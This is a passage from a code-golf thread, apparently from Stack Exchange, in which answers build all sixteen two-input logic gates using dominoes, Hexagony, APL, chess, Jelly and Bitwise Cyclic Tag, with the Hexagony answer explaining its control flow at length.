<tr><td>{{PLACE}}</td><td>{{NAME}}</td><td>{{LANGUAGE}}</td><td>{{SIZE}}</td><td><a href="{{LINK}}">Link</a></td></tr></tbody> </table> <table style="display: none"> <tbody id="language-template"> <tr><td>{{LANGUAGE}}</td><td>{{NAME}}</td><td>{{SIZE}}</td><td><a href="{{LINK}}">Link</a></td></tr></tbody> </table> ``` [Answer] # [Dominoes](http://store.steampowered.com/app/286160/), 122,000 bytes or 72 tiles The byte count is the size of the [saved file](http://steamcommunity.com/sharedfiles/filedetails/?id=876663282) which is `0.122 MB`. [Domino computing](https://www.youtube.com/watch?v=OpLU__bhu2w) was the inspiration. I have tested all of these up to symmetry (and beyond!) via a virtual-reality Steam game called [*Tabletop Simulator*](http://store.steampowered.com/app/286160/). ## Details * **I/O** + **Start** - This is included for clarity (not counted towards total) and is what 'calls' or 'executes' the function. Should be 'pressed' after input is given **[Yellow]**. + **Input A** - This is included for clarity (not counted towards total) and is 'pressed' to indicated a `1` and unpressed otherwise **[Green]**. + **Input B** - This is included for clarity (not counted towards total) and is 'pressed' to indicated a `1` and unpressed otherwise **[Blue]**. + **Output** - This is counted towards total. It is the domino that declares the result of the logic gate **[Black]**. * **T/F** + A fallen output domino represents a result of `True` or `1` + A standing output domino represents a result of `False` or `0` * **Pressing** + To give input or start the chain, spawn the metal marble + Set the lift strength to `100%` + Lift the marble above the desired domino + Drop the marble [![enter image description here](https://i.stack.imgur.com/BmA89m.png)](https://i.stack.imgur.com/BmA89m.png) ## Gates * **false, 1** + [![enter image description here](https://i.stack.imgur.com/SwK9pm.png)](https://i.stack.imgur.com/SwK9pm.png) * **and, ~~6~~ 4** + [![enter image description here](https://i.stack.imgur.com/3bSW7m.png)](https://i.stack.imgur.com/3bSW7m.png) * **A and not B, ~~4~~ 3** + [![enter image description here](https://i.stack.imgur.com/8UiAmm.png)](https://i.stack.imgur.com/8UiAmm.png) * **A, 1** + [![enter image description here](https://i.stack.imgur.com/g1egvm.png)](https://i.stack.imgur.com/g1egvm.png) * **not A and B, ~~4~~ 3** + [![enter image description here](https://i.stack.imgur.com/WjwPKm.png)](https://i.stack.imgur.com/WjwPKm.png) * **B, 1** + [![enter image description here](https://i.stack.imgur.com/VdVLLm.png)](https://i.stack.imgur.com/VdVLLm.png) * **xor, ~~15~~ 11** + [![enter image description here](https://i.stack.imgur.com/qnaMMm.png)](https://i.stack.imgur.com/qnaMMm.png) * **or, 1** + [![enter image description here](https://i.stack.imgur.com/SKwmlm.png)](https://i.stack.imgur.com/SKwmlm.png) * **nor, ~~3~~ 2** + [![enter image description here](https://i.stack.imgur.com/Whukrm.png)](https://i.stack.imgur.com/Whukrm.png) * **xnor, ~~17~~ 13** + [![enter image description here](https://i.stack.imgur.com/QelNAm.png)](https://i.stack.imgur.com/QelNAm.png) * **not B, 2** + [![enter image description here](https://i.stack.imgur.com/vZdDlm.png)](https://i.stack.imgur.com/vZdDlm.png) * **B implies A, ~~7~~ 6** + [![enter image description here](https://i.stack.imgur.com/g2kGzm.png)](https://i.stack.imgur.com/g2kGzm.png) * **not A, 2** + [![enter image description here](https://i.stack.imgur.com/gFuXfm.png)](https://i.stack.imgur.com/gFuXfm.png) * **A implies B, ~~7~~ 6** + [![enter image description here](https://i.stack.imgur.com/kDziRm.png)](https://i.stack.imgur.com/kDziRm.png) * **nand, ~~16~~ 15** + [![enter image description here](https://i.stack.imgur.com/ZGeUam.png)](https://i.stack.imgur.com/ZGeUam.png) + **true, 1** + [![enter image description here](https://i.stack.imgur.com/86L2Gm.png)](https://i.stack.imgur.com/86L2Gm.png) --- ## TL;DR I had been waiting/wanting a domino-friendly challenge and when I saw this, I couldn't pass it up. The only problem was that apparently no one owns dominoes any more! So eventually I gave in and bought a [*Double Twelve*](http://rads.stackoverflow.com/amzn/click/B00004T71M). This set has 91 tiles, which gave me the idea of have a 'function call'/start domino instead of the normal (long) 'time delay' method. Credit for the 90 degree turn belongs to [dominoesdouble07's channel](https://www.youtube.com/watch?v=oasKtlLNBZY). After building these with physical dominoes, it was [ruled](http://meta.codegolf.stackexchange.com/a/10151/43214) on meta that valid solutions should be digital. So I recreated these gates in [*Tabletop Simulator*](http://store.steampowered.com/app/286160/). Sadly, TS and reality don't agree on domino physics. This required me adding 11 dominoes but I also saved 8. Overall, virtual dominoes are about x150 more effective in terms of building and testing (`Ctrl`+`Z`). **Update** * **-9** [17-03-13] Shortened `xor xnor nand` * [17-03-04] Added link to workshop file * **+11** [17-03-03] Added digital `xnor` and `xor` * **-8** [17-03-03] Digitized all the gates (except `xor` and `xnor`). Blocking on Tabletop only requires 1 domino, instead of 2. * [16-09-23] Shrunk images * **-11** [16-09-18] Nearly cut xor in half again. Thanks to *@DJMcMayhem* for xnor and *Joe* for xor. * **-31** [16-08-31] Updated some pics and shaved some tiles and cut *xor* in half * [16-08-28] Added pictures [Answer] ## [Hexagony](https://github.com/m-ender/hexagony), 89 bytes *Thanks to FryAmTheEggman for some necessary inspiration for the XOR solution.* ``` 0000 !@ 0001 ?.|@! 0010 #?#!)@ 0011 ?!@ 0100 +?|@!? 0101 ??!@ 0110 ?<@!!<_\~( 0111 ?<<@! 1000 )\!#?@{ 1001 (~?/@#! 1010 ??|@!) 1011 \#??!1@ 1100 ?(~!@ 1101 ?.|@!) 1110 ?$@#)!< 1111 1!@ ``` All programs use `0` for false and `1` for true. [Try it online!](http://hexagony.tryitonline.net/#code=PzxAISE8X1x-KA&input=MSAw) This is not a test suite, you'll have to copy in the different programs and inputs yourself. The above solution is within 2-bytes of optimality (unless we relax the truthy/falsy interpretation, I guess). I've let a brute force search run for close to two days over all programs that fit into side-length 2, i.e. up to 7 bytes (not *quite* all programs - I made a few assumptions on what every valid program needs and what no valid program could have). The search found solutions for 15 of the 16 possible gates - and often a lot more than just one. You can find a list of all the alternative solutions [in this pastebin](http://pastebin.com/EZV81AZt) where I've also grouped them by equivalent behaviour. The ones I'm showing above I've selected because they are either the simplest or the most interesting solution, and I'll add explanations for them tomorrow. As for the 16th gate: XOR is the only gate that can apparently not be implemented in 7 bytes. A brute force search over larger programs is unfortunately not feasible with the code I currently have. So XOR had to be written by hand. The shortest I've found so far is the above 10-byte program, which is based on a failed (but very close) attempt by FryAmTheEggman. It's possible that an 8-byte or 9-byte solution exists, but other than that, all the solutions should indeed be optimal. ## Explanations Warning: wall of text. On the off-chance anyone's interested how these highly compressed Hexagony programs actually work, I've included explanations for each of them below. I've tried to choose the simplest solution for each gate in cases where more than one optimal program exists, in order to keep the explanations reasonably short. However, some of them still boggle the mind, so I thought they deserve a bit more elaboration. ### `0000`: False I don't think we'll need a diagram for this one: ``` ! @ . . . . . ``` Since the entire memory grid is initialised to zeros, `!` simply prints a zero and `@` terminates the program. This is also the only 2-byte solution. ### `0001`: And ``` ? . | @ ! . . ``` This basically implements [short-circuiting](https://en.wikipedia.org/wiki/Short-circuit_evaluation). The grey diagram below shows the beginning of the program, where the first input is read with `?` and the instruction pointer (IP) wraps around to the the left corner where the `|` mirror reflects it. Now the corner acts as a conditional, such there are two different execution paths depending on the value of the first input. The red diagram shows the control flow for `A = 0` and the green diagram for `A = 1`: [![i](https://i.stack.imgur.com/iKzSQ.png)](https://i.stack.imgur.com/iKzSQ.png) [![i](https://i.stack.imgur.com/pWnmj.png)](https://i.stack.imgur.com/pWnmj.png) [![i](https://i.stack.imgur.com/xdTI6.png)](https://i.stack.imgur.com/xdTI6.png) As you can see, when the `A` is `0`, then we simply print it and terminate (remember that all `.` are no-ops). But when `A` is `1`, then the IP traverses the first row again, reading `B` and printing that instead. In total there are sixteen 5-byte solutions for this gate. Fourteen of those are essentially the same as the above, either using `>` instead of `|` or replacing the `.` with a command that's effectively a no-op, or putting `?` in the second position: ``` ?.|@! .?|@! ?=|@! =?|@! ?_|@! _?|@! ?0|@! ?.>@! .?>@! ?=>@! =?>@! ?_>@! _?>@! ?0>@! ``` And then there are two other solutions (which are equivalent to each other). These also implement the same short-circuiting logic, but the execution paths are a bit crazier (and left as an exercise to the reader): ``` ?<!@| ?<!@< ``` ### `0010`: A and not B ``` # ? # ! ) @ . ``` This also implements a form of short-circuiting, but due to the use of `#` the control flow is much trickier. `#` is a conditional IP switch. Hexagony actually comes with six IPs labelled `0` to `5`, which start in the six corners of the grid, pointing along their clockwise edge (and the program always begins with IP `0`). When a `#` is encountered, the current value is taken modulo `6`, and control flow continues with the corresponding IP. I'm not sure what fit of madness made me add this feature, but it certainly allows for some surprising programs (like this one). We will distinguish three cases. When `A = 0`, the program is fairly simple, because the value is always `0` when `#` is encountered such that no IP-switching takes place: [![i](https://i.stack.imgur.com/NvdJc.png)](https://i.stack.imgur.com/NvdJc.png) `#` does nothing, `?` reads `A` (i.e. also does nothing), `#` still does nothing, `!` prints the `0`, `)` increments it (this is important, otherwise the IP would not jump to the third line), `@` terminates the program. Simple enough. Now let's consider the case `(A, B) = (1, 0)`: [![i](https://i.stack.imgur.com/a5MJS.png)](https://i.stack.imgur.com/a5MJS.png) The red path still corresponds to IP `0`, and I've added the green path for IP `1`. We see that after `?` reads `A` (`1` this time), the `#` switches to the IP that starts in the top right corner. That means `?` can read `B` (`0`). Now `)` increments that to `1`, such that the `#` in the top left corner does nothing and we remain with IP `1`. The `!` prints the `1` and the IP wraps around the left diagonal. `#` still does nothing and `@` terminates the program. Finally, the really weird case where both inputs are `1`: [![i](https://i.stack.imgur.com/vr4k0.png)](https://i.stack.imgur.com/vr4k0.png) This time, the second input is also `1` and `)` increments it to `2`. That means the `#` in the top left corner causes *another* IP switch to IP `2`, indicate in blue. On that path, we first increment it further to `3` (although that's irrelevant) and then pass the `?` a third time. Since we've now hit EOF (i.e. the input is exhausted), `?` returns `0`, `!` prints that, and `@` terminates the program. Notably, this is the only 6-byte solution for this gate. ### `0011`: A ``` ? ! @ . . . . ``` This is simple enough that we won't need a diagram: `?` reads `A`, `!` prints it, `@` terminates. This is the only 3-byte solution for this gate. (In principle, it would also be possible to do `,;@`, but the search didn't include `;`, because I don't think it can ever save bytes over `!` for this task.) ### `0100`: B and not A ``` + ? | @ ! ? . ``` This one is a lot simpler than its "brother" `0010`. The control flow is actually the same as we've seen above for `0001` (And). If `A = 0`, then the IP traverses the lower line, reading `B` and printing that before terminating. If `A = 1` then the IP traverses the first line again, also reading `B`, but the `+` adds two unused memory edges so all it does is reset the current value to `0`, so that `!` always prints `0`. There are quite a lot of 6-byte alternatives to this (42 in total). First, there's a ton of solutions equivalent to the above. We can again choose freely between `|` and `>`, and `+` can be replaced with any other command that gives us an empty edge: ``` "?|@!? &?|@!? '?|@!? *?|@!? +?|@!? -?|@!? ^?|@!? {?|@!? }?|@!? "?>@!? &?>@!? '?>@!? *?>@!? +?>@!? -?>@!? ^?>@!? {?>@!? }?>@!? ``` In addition, we can also use `]` instead of `?`. `]` moves to the next IP (i.e. selects IP `1`), so that this branch instead reuses the `?` in the top right corner. That gives another 18 solutions: ``` "?|@!] &?|@!] '?|@!] *?|@!] +?|@!] -?|@!] ^?|@!] {?|@!] }?|@!] "?>@!] &?>@!] '?>@!] *?>@!] +?>@!] -?>@!] ^?>@!] {?>@!] }?>@!] ``` And then there's six other solutions that all work differently with varying levels of craziness: ``` /[<@!? ?(#!@] ?(#>@! ?/@#/! [<<@!? [@$\!? ``` ### `0101`: B ``` ? ? ! @ . . . ``` Woohoo, another simple one: read `A`, read `B`, print `B`, terminate. There are actually alternatives to this though. Since `A` is only a single character, we can also read it with `,`: ``` ,?!@ ``` And there's also the option of using a single `?` and using a mirror to run through it twice: ``` ?|@! ?>@! ``` ### `0110`: Xor ``` ? < @ ! ! < _ \ ~ ( . . . . . . . . . ``` Like I said above, this was the only gate that wouldn't fit in side-length 2, so this a handwritten solution by FryAmTheEggman and myself, and there's a good chance that it isn't optimal. There are two cases to distinguish. If `A = 0` the control flow is fairly simple (because in that case we only need to print `B`): [![i](https://i.stack.imgur.com/EHmjZ.png)](https://i.stack.imgur.com/EHmjZ.png) We start on the red path. `?` reads `A`, `<` is a branch which deflects the zero left. The IP wraps to the bottom, then `_` is another mirror, and when the IP hits the corner, it wraps to the top left corner and continues on the blue path. `?` reads `B`, `!` prints it. Now `(` decrements it. This is important because it ensures that the value is non-positive (it's either `0` or `-1` now). That makes IP wrap to the to right corner, where `@` terminates the program. When `A = 1` things get a bit trickier. In that case we want to print `not B`, which in itself isn't too difficult, but the execution path is a bit trippy. [![i](https://i.stack.imgur.com/Izycv.png)](https://i.stack.imgur.com/Izycv.png) This time, the `<` deflects the IP right and then next `<` just acts as a mirror. So the IP traverses the same path in reverse, reading `B` when it encounters `?` again. The IP wraps around to the right corner and continues on the green path. It next encounters `(~` which is "decrement, multiply by -1", which swaps `0` and `1` and therefore computes `not B`. `\` is just a mirror and `!` prints the desired result. Then `?` tries to return another number but returns zero. The IP now continues in the bottom left corner on the blue path. `(` decrements, `<` reflects, `(` decrements again, so that the current value is negative when the IP hits the corner. It moves across the bottom right diagonal and then finally hits `@` to terminate the program. ### `0111`: Or ``` ? < < @ ! . . ``` More short-circuiting. [![i](https://i.stack.imgur.com/OVNer.png)](https://i.stack.imgur.com/OVNer.png) [![i](https://i.stack.imgur.com/drUVV.png)](https://i.stack.imgur.com/drUVV.png) The `A = 0` case (the red path) is a bit confusing here. The IP gets deflected left, wraps to the bottom left corner, gets immediately reflected by the `<` and returns to the `?` to read `B`. It then wraps to the rigt corner, prints `B` with `!` and terminates. The `A = 1` case (the green path) is a bit simpler. The `<` branch deflects the IP right, so we simply print the `!`, wrap back to the top left, and terminate at `@`. There is only one other 5-byte solution: ``` \>?@! ``` It works essentially the same, but the actual execution paths are quite different and it uses a corner for branching instead of a `<`. ### `1000`: Nor ``` ) \ ! # ? @ { ``` This might be my favourite program found in this search. The coolest thing is that this implementation of `nor` actually works for up to 5 inputs. I'll have to get into the details of the memory model a bit to explain this one. So as a quick refresher, Hexagony's memory model is a separate hexagonal grid, where each *edge* holds an integer value (initially all zero). There's a memory pointer (MP) which indicates an edge and a direction along that edge (such that there's two neighboring edges in front of and behind the current edge, with meaningful left and right neighbours). Here is a diagram of the edges we'll be using, with the MP starting out as shown in red: [![i](https://i.stack.imgur.com/x7MWE.png)](https://i.stack.imgur.com/x7MWE.png) Let's first consider the case where both inputs are `0`: [![i](https://i.stack.imgur.com/4fWWM.png)](https://i.stack.imgur.com/4fWWM.png) We start on the grey path, which simply increments edge **A** to `1` so that the `#` switches to IP `1` which is the blue path, starting in the top right corner. `\` does nothing there and `?` reads an input. We wrap to the top left corner where `)` increments that input. Now as long as the input is zero, this will result in a `1`, so that `#` doesn't do anything. Then `{` moves the MP to the left, i.e. on the first iteration from **A** to **B**. Since this edge still has its initial zero the IP wraps back to the top right corner and on a new memory edge. So this loop will continue as long as `?` reads zeros, moving the MP around the hexagon from **B** to **C** to **D** and so on. It doesn't matter whether `?` returns a zero because it was an input or because it was EOF. After six iterations through this loop, `{` returns to **A**. This time, the edge already holds the value `1` from the very first iteration, so the IP wraps to the left corner and continues on the green path instead. `!` simply prints that `1` and `@` terminates the program. Now what if any of the inputs is `1`? [![i](https://i.stack.imgur.com/siLnN.png)](https://i.stack.imgur.com/siLnN.png) Then `?` reads that `1` at some point and `)` increments it to `2`. That means `#` will now switch IPs again and we'll continue in the right corner on the red path. `?` reads another input (if there is one), which doesn't really matter and `{` moves one edge further. This has to be an unused edge, hence this works for up to 5 inputs. The IP wraps to the top right where it's immediately reflected and wraps to the left corner. `!` prints the `0` on the unused edge and `#` switches back to IP `0`. That IP was still waiting around on the `#`, going southwest (grey path), so it immediately hits the `@` and terminates the program. In total there are seven 7-byte solutions for this gate. 5 of them work the same as this and simply use other commands to move to an unused edge (and may walk around a different hexagon or in a different direction): ``` )\!#?@" )\!#?@' )\!#?@^ )\!#?@{ )\!#?@} ``` And there is one other class of solutions which only works with two inputs, but whose execution paths are actually even messier: ``` ?]!|<)@ ?]!|<1@ ``` ### `1001`: Equality ``` ( ~ ? / @ # ! ``` This also makes very clever use of conditional IP selection. We need to distinguish again between `A = 0` and `A = 1`. In the first case we want to print `not B`, in the second we want to print `B`. For `A = 0` we also distinguish the two cases for `B`. Let's start with `A = B = 0`: [![i](https://i.stack.imgur.com/vQX3K.png)](https://i.stack.imgur.com/vQX3K.png) We start on the grey path. `(~` can be ignored, the IP wraps to the left corner (still on the grey path) and reads `A` with `?`. `(` decrements that, so we get `-1` and IP wrap to the bottom left corner. Now like I said earlier, `#` takes the value modulo `6` before choosing he IP, so a value of `-1` actually gets out IP `5`, which starts in the left corner on the red path. `?` reads `B`, `(` decrements that as well so that we remain on IP `5` when we hit `#` again. `~` negates the `-1` so that the IP wraps to the bottom right corner, prints the `1` and terminates. [![i](https://i.stack.imgur.com/p4gVz.png)](https://i.stack.imgur.com/p4gVz.png) Now if `B` is `1` instead, the current value will be `0` when we hit `#` the second time, so we switch back to IP `0` (now on the green path). That hits `?` a third time, yielding `0`, `!` prints it and `@` terminates. [![i](https://i.stack.imgur.com/hrtmn.png)](https://i.stack.imgur.com/hrtmn.png) Finally, the case where `A = 1`. This time the current value is already zero when we hit `#` for the first time, so this never switches to IP `5` in the first place. We simply continue immediately on the green path. `?` now doesn't just give a zero but returns `B` instead. `!` prints it and `@` terminates again. In total there are three 7-byte solutions for this gate. The other two work very differently (even from each other), and make even weirder use of `#`. In particular they read one or more values with `,` (reading a character code instead of an integer) and then use that value modulo 6 to pick an IP. It's pretty nuts. ``` ),)#?@! ?~#,~!@ ``` ### `1010`: Not B ``` ? ? | @ ! ) . ``` This one is fairly simple. The execution path is the horizontal branch we already know from `and` earlier. `??` reads `A` and then immediately `B`. After reflecting at `|` and branching, for `B = 0` we will execute the bottom branch, where `)` increments the value to `1` which is then printed by `!`. On the top branch (if `B = 1`) the `?` simply reset the edge to `0` which is then also printed by `!`. There are eight 6-byte programs for this gate. Four of them are pretty much the same, using either `>` instead of `|` or `1` instead of `)` (or both): ``` ??>@!) ??>@!1 ??|@!) ??|@!1 ``` Two use a single `?` which is used twice due to a mirror. The negation then happens as we did for `xor` with either `(~` or `~)`. ``` ?>!)~@ ?>!~(@ ``` And finally, two solutions use a conditional IP switch, because why use the simple way if the convoluted one also works: ``` ??#)!@ ??#1!@ ``` ### `1011`: B implies A ``` \ # ? ? ! 1 @ ``` This uses some rather elaborate IP switching. I'll start with the `A = 1` case this time, because it's simpler: [![enter image description here](https://i.stack.imgur.com/IdZr3.png)](https://i.stack.imgur.com/IdZr3.png) We start on the grey path, which reads `A` with `?` and then hits the `#`. Since `A` is `1` this switches to IP `1` (green path). The `!` immediately prints that, the IP wraps to the top left, reads `B` (unnecessarily) and terminates. When `A = 0` things get a bit more interesting. First let's consider `A = B = 0`: [![enter image description here](https://i.stack.imgur.com/JGdMf.png)](https://i.stack.imgur.com/JGdMf.png) This time, the `#` does nothing and we remain on IP `0` (red path from that point onward). `?` reads `B` and `1` turns it into a `1`. After wrapping to the top left corner, we hit `#` again, so we end up on the green path after all, and print `1` as before, before terminating. Finally, here is `(A, B) = (0, 1)`, the false case: [![enter image description here](https://i.stack.imgur.com/uVdln.png)](https://i.stack.imgur.com/uVdln.png) Note that I've removed the initial grey path for clarity, but the program begins the same way, and we end up on the red path as before. So this time the second `?` returns `1`. Now we encounter the `1`. At this point it's important to understand what digits actually do in Hexagony (so far we've only used them on zeros): when a digit is encountered, the current value is multiplied by 10 and then the digit is added. This is normally used to write decimal numbers verbatim into the source code, but it means that `B = 1` is actually mapped to the value `11`. So when we hit `#`, this is taken modulo `6` to give `5` and hence we switch to IP `5` (instead of `1` as before) and continue on the blue path. Hitting `?` a third time returns a zero, so `!` prints that, and after another two `?`, the IP wraps to the bottom right where the program terminates. There are four 7-byte solutions to this and they all work differently: ``` #)/!?@$ <!?_@#1 \#??!1@ |/)#?@! ``` ### `1100`: Not A ``` ? ( ~ ! @ . . ``` Just a simple linear one: read `A` with `?`, negate with `(~`, print with `!`, terminate with `@`. There's one alternative solution, and that's negating with `~)` instead: ``` ?~)!@ ``` ### `1101`: A implies B ``` ? . | @ ! ) . ``` This is a *lot* simpler than the opposite implication we just talked about. It's again one of those horizontal branch programs, like the one for `and`. If `A` is `0`, it simply gets incremented to `1` on the bottom branch and printed. Otherwise, the top branch is executed again where `?` reads `B` and then `!` prints that instead. There's a *ton* of alternatives here (66 solutions in total), mostly due to free choice of effective no-ops. For a start we can vary the above solution in all the same ways we could for `and` and we can also choose between `)` and `1`: ``` ?.|@!) .?|@!) ?=|@!) =?|@!) ?_|@!) _?|@!) ?0|@!) ?.|@!1 .?|@!1 ?=|@!1 =?|@!1 ?_|@!1 _?|@!1 ?0|@!1 ?.>@!) .?>@!) ?=>@!) =?>@!) ?_>@!) _?>@!) ?0>@!) ?.>@!1 .?>@!1 ?=>@!1 =?>@!1 ?_>@!1 _?>@!1 ?0>@!1 ``` And then there's a different version using conditional IP selection, where the first command can be chosen almost arbitrarily, and there is also a choice between `)` and `1` for some of those options: ``` "?#1!@ &?#1!@ '?#1!@ )?#1!@ *?#1!@ +?#1!@ -?#1!@ .?#1!@ 0?#1!@ 1?#1!@ 2?#1!@ 3?#1!@ 4?#1!@ 5?#1!@ 6?#1!@ 7?#1!@ 8?#1!@ 9?#1!@ =?#1!@ ^?#1!@ _?#1!@ {?#1!@ }?#1!@ "?#)!@ &?#)!@ '?#)!@ *?#)!@ +?#)!@ -?#)!@ 0?#)!@ 2?#)!@ 4?#)!@ 6?#)!@ 8?#)!@ ^?#)!@ _?#)!@ {?#)!@ }?#)!@ ``` ### `1110`: Nand ``` ? $ @ # ) ! < ``` The last complicated one. If you're still reading, you've almost made it. :) Let's look at `A = 0` first: [![enter image description here](https://i.stack.imgur.com/55x6F.png)](https://i.stack.imgur.com/55x6F.png) `?` reads `A` and then we hit `$`. This is a jump command (like Befunge's `#`) which skips the next instruction so that we don't terminate on the `@`. Instead the IP continues at `#`. However since `A` is `0`, this doesn't do anything. `)` increments it to `1` so that the IP continues on the bottom path where the `1` is printed. The `<` deflects the IP to the right where it wraps to the left corner and the program terminates. Next, when the input is `(A, B) = (1, 0)` we get this situation: [![enter image description here](https://i.stack.imgur.com/6w8Wp.png)](https://i.stack.imgur.com/6w8Wp.png) It's essentially the same as before except that at the `#` we switch to IP `1` (green path), but since `B` is `0` we switch back to IP `0` when we hit `#` a second time (now blue path), where it prints `1` as before. Finally, the `A = B = 1` case: [![enter image description here](https://i.stack.imgur.com/CmZqg.png)](https://i.stack.imgur.com/CmZqg.png) This time, when we `#` the second time, the current value is still `1` so that we don't change the IP again. The `<` reflects it and the third time we hit `?` we get a zero. Hence the IP wraps to the bottom left where `!` prints the zero and the program ends. There are nine 7-byte solutions in total for this. The first alternative simply uses `1` instead of `)`: ``` ?$@#1!< ``` Then there's two solutions that will do your head in with the amount of IP switching that's going on: ``` )?#_[!@ 1?#_[!@ ``` These actually blew my mind: the interesting part is that IP switching can be used as a deferred conditional. The language's IP-switching rules are such that the current IP makes another step before the switch happens. If that step happens to go through a corner, then the current value decides on which branch the IP will continue if we ever switch back to it. Exactly this happens when the input is `A = B = 1`. Although this is all consistent with how I designed the language, I was never aware of this implication of the spec, so it's nice when my language teaches me some new tricks :D. Then there's a third solution whose amount of IP switching is even worse (although it doesn't make use of that deferred conditional effect): ``` >?1]#!@ ``` And then there's another one: ``` ?$@#)!< ``` And then there's these four equivalent solutions, which do use some non-conditional IP switching and instead implement all the logic via branches and corners: ``` ]<?<@!) ]<?<@!1 ]|?<@!) ]|?<@!1 ``` ### `1111`: True ``` 1 ! @ . . . . ``` You've earned yourself something simple for the end: set edge to `1`, print with `!`, terminate with `@`. :) Of course, there's one alternative: ``` )!@ ``` --- As usual, all control flow diagrams created with Timwi's [HexagonyColorer](https://github.com/Timwi/HexagonyColorer) and the memory diagram with his [EsotericIDE](https://github.com/Timwi/EsotericIDE). [Answer] # APL, ~~22~~ ~~20~~ 18 bytes The true and false entries are complete programs, and the other 14 are functions. (Thanks to Adám.) ``` 0000 false 0 (complete program) 0001 p and q ∧ 0010 p and not q > 0011 p ⊣ 0100 not p and q < 0101 q ⊢ 0110 xor ≠ 0111 p or q ∨ 1000 not p and not q ⍱ 1001 eq = 1010 not q ~⊢ 1011 p or not q ≥ 1100 not p ~⊣ 1101 not p or q ≤ 1110 not p or not q ⍲ 1111 true 1 (complete program) ``` [Try it here.](http://tryapl.org/?a=%u2191%28%7B0%7D%2C%u2227%2C%3E%2C%u22A3%2C%3C%2C%u22A2%2C%u2260%2C%u2228%2C%u2371%2C%3D%2C%28%7E%u22A2%29%2C%u2265%2C%28%7E%u22A3%29%2C%u2264%2C%u2372%2C%7B1%7D%29%u233F2%202%u22A4%AF1+%u23734&run) [Answer] # Chess/mediocre chess player in endgame, 70 pieces Inspired by that domino answer, I decided another game should have this honor. Note that I took a few rules for how the pieces move. Because I don't feel like studying the optimal moves for every situation, the rules for whites move is simple: Stay out of check, capture the highest ranking piece he can that turn, while losing as little material as possible, and stop a pawn from promoting, in that order of priority. If there are two spaces he can move to, with equal favourability, he can move to either (hence in these, if he can move to more than one square, they are the same colour). Note that white will capture with something even if it gets captured, if the piece it is attacking is higher value than the one lost. Values are here:`pawn<knight=bishop<rook<queen` The input is whether a rook is present or not. Note that rooks are only labelled with names A and B when it matters: if the gate behaves the same when the rooks are switched, they are not labelled. The output is the colour of the square white king ends on: White=1, black=0 Before the images, I want to apologise for poor images. I'm not much good at holding a camera steady. False, 4: [![False](https://i.stack.imgur.com/VzwTX.png)](https://i.stack.imgur.com/VzwTX.png) AND, 4: [![enter image description here](https://i.stack.imgur.com/u1eoR.png)](https://i.stack.imgur.com/u1eoR.png) A and not B, 5 (I think I can get this down to three, but do not have board right now): [![enter image description here](https://i.stack.imgur.com/olAC9.png)](https://i.stack.imgur.com/olAC9.png) A, 4: [![enter image description here](https://i.stack.imgur.com/Ps0Db.png)](https://i.stack.imgur.com/Ps0Db.png) Not A and B,5 (I think I can get this down to three, but do not have board right now): [![enter image description here](https://i.stack.imgur.com/y4pCN.png)](https://i.stack.imgur.com/y4pCN.png) B, 4: [![enter image description here](https://i.stack.imgur.com/81Xmb.png)](https://i.stack.imgur.com/81Xmb.png) Xor,5 (I know a way to make it 4, but I don't have the board right now): [![enter image description here](https://i.stack.imgur.com/gEpkj.png)](https://i.stack.imgur.com/gEpkj.png) Or, 4: [![enter image description here](https://i.stack.imgur.com/AZnE9.png)](https://i.stack.imgur.com/AZnE9.png) Nor, 4: [![enter image description here](https://i.stack.imgur.com/yANm3.png)](https://i.stack.imgur.com/yANm3.png) Xnor, 5 (I know a way to make it 4, but I don't have the board right now): [![enter image description here](https://i.stack.imgur.com/hdn1A.png)](https://i.stack.imgur.com/hdn1A.png) Not B, 4: [![enter image description here](https://i.stack.imgur.com/USfIs.png)](https://i.stack.imgur.com/USfIs.png) B implies A, 5 (I think I can get this down to three, but do not have board right now): [![enter image description here](https://i.stack.imgur.com/pjByc.png)](https://i.stack.imgur.com/pjByc.png) Not A, 4: [![enter image description here](https://i.stack.imgur.com/dvzhj.png)](https://i.stack.imgur.com/dvzhj.png) A implies B, 5 (I think I can get this down to three, but do not have board right now): [![enter image description here](https://i.stack.imgur.com/M9p0X.png)](https://i.stack.imgur.com/M9p0X.png) Nand, 4: [![enter image description here](https://i.stack.imgur.com/AfJNw.png)](https://i.stack.imgur.com/AfJNw.png) True, 4: [![enter image description here](https://i.stack.imgur.com/wE6fb.png)](https://i.stack.imgur.com/wE6fb.png) [Answer] # [Jelly](http://github.com/DennisMitchell/jelly), 19 [bytes](https://github.com/DennisMitchell/jelly/wiki/Code-page) ``` 0 0 0 0 ¤ 1 byte Empty niladic chain. Returns default argument 0. 0 0 0 1 & 1 byte Bitwise AND. 0 0 1 0 > 1 byte Greater than. 0 0 1 1 0 bytes Empty link. Returns left argument. 0 1 0 0 < 1 byte Less than. 0 1 0 1 ị 1 byte At-index (x,y -> [y][x]). Returns right argument. 0 1 1 0 ^ 1 byte Bitwise XOR. 0 1 1 1 | 1 byte Bitwise OR. 1 0 0 0 |¬ 2 byte Logical NOT of bitwise OR. 1 0 0 1 = 1 byte Equals. 1 0 1 0 ¬} 2 bytes Logical NOT of right argument. 1 0 1 1 * 1 byte Exponentiation. 1 1 0 0 ¬ 1 byte Logical NOT of left argument. 1 1 0 1 >¬ 2 bytes Logical NOT of greater than. 1 1 1 0 &¬ 2 bytes Logical NOT of bitwise AND. 1 1 1 1 ! 1 byte Factorial. ``` [Try it online!](http://jelly.tryitonline.net/#code=wqQKJgo-Cgo8CuG7iwpeCnwKfMKsCj0Kwqx9CioKwqwKPsKsCibCrAohCjAsMeG5lzLigbjFgC_igqwK4oG0UsOH4oKsRw&input=) [Answer] # [Bitwise Cyclic Tag](https://esolangs.org/wiki/Bitwise_Cyclic_Tag), 118 bits = 14.75 bytes Bitwise Cyclic Tag is perhaps the simplest Turing-complete language ever devised. There is a program tape and a data tape, both consisting of a list of bits. The program tape is interpreted cyclically until the data tape is empty, as follows: * `0`: delete the first bit from the data tape. * `1x`: if the first bit of the data tape is 1, append the bit `x` to the data tape. We initialize the data tape with a 1 followed by the two input bits (the 1 is necessary because there is no way to create a 1 if the data tape consists entirely of 0s), and we use the final deleted data bit as the gate’s output. * 0,0,0,0 (`false`): `001` * 0,0,0,1 (`and`): `1001001` * 0,0,1,0 (`A and not B`): `0110100` * 0,0,1,1 (`A`): `1001` * 0,1,0,0 (`not A and B`): `0100` * 0,1,0,1 (`B`): `0` * 0,1,1,0 (`xor`): `0110110010` * 0,1,1,1 (`or`): `0110` * 1,0,0,0 (`nor`): `1101001000` * 1,0,0,1 (`xnor`): `110101001100` * 1,0,1,0 (`not B`): `1100100` * 1,0,1,1 (`B implies A`): `110101101000` * 1,1,0,0 